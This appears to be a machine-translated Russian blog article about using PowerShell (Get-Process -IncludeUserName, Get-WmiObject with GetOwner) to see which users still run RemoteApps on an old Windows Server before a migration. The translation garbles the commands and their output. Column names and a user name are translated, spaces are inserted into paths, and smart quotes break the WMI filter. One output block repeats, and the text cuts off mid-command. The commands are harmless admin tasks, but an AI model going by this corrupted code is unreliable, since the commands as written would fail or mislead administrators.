Я управляю средой, в которой удаленные приложения размещены на сервере под управлением Windows Server 2008 R2. Недавно мы подготовили новую ферму служб удаленных рабочих столов (RDS) с использованием Windows Server 2012 R2. Мы готовимся выключить наш старый сервер RemoteApps и хотим убедиться, что все наши пользователи начали использовать новую ферму, прежде чем мы спишем.

Мы не хотим рассылать общие сообщения, но вместо этого хотим адаптировать общение к аудитории каждого приложения.Мы также не хотим отправлять его людям, которые уже прекратили использовать старый сервер RemoteApps. Нам нужен был способ увидеть моментальный снимок того, какие приложения все еще используются и какими пользователями.

Имя процесса и имя пользователя: PowerShell 4.0 и более поздние версии

Если у вас Windows Server 2012 R2 или новее, или вы обновили PowerShell в своих системах Windows Server 2008 R2 до 4.0, Get-Process может легко вернуть владельца процесса, даже если это не свойство типа, возвращаемого Get-Процесс .

В PowerShell 4.0 переключатель -IncludeUserName был добавлен в командлет Get-Process . Запустите его из приглашения с повышенными правами , и он добавит столбец с именем пользователя владельца процесса:

PS C: \ WINDOWS \ system32> Get-Process -Name Calculator -IncludeUserName

Обрабатывает WS (K) Идентификатор процессора (ов) Имя пользователя Имя процесса
——- —— —— — ——— ————
457 30772 0.31 10168 SHS1MWS1-AARON \ Калькулятор aaron

PS C: \ WINDOWS \ system32> Get-Process -Name Calculator -IncludeUserName

Обрабатывает WS (K) Идентификатор процессора (ов) Имя пользователя Имя процесса

——- — — —— — ——— ————

457 30772 0.31 10168 SHS1MWS1-AARON \ Калькулятор aaron

Имя процесса и имя пользователя: до PowerShell 4.0

Если вам нужно получить аналогичные выходные данные от сервера, на котором запущена версия PowerShell до 4.0, вы можете использовать другой метод, используя командлет Get-WmiObject . Тип объекта, возвращаемый Get-WmiObject, включает метод под названием GetOwner . GetOwner возвращает другой набор свойств, одно из которых — User :

.

PS C: \ WINDOWS \ system32> Get-WmiObject -Class Win32_Process -Filter «name = ‘калькулятор.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *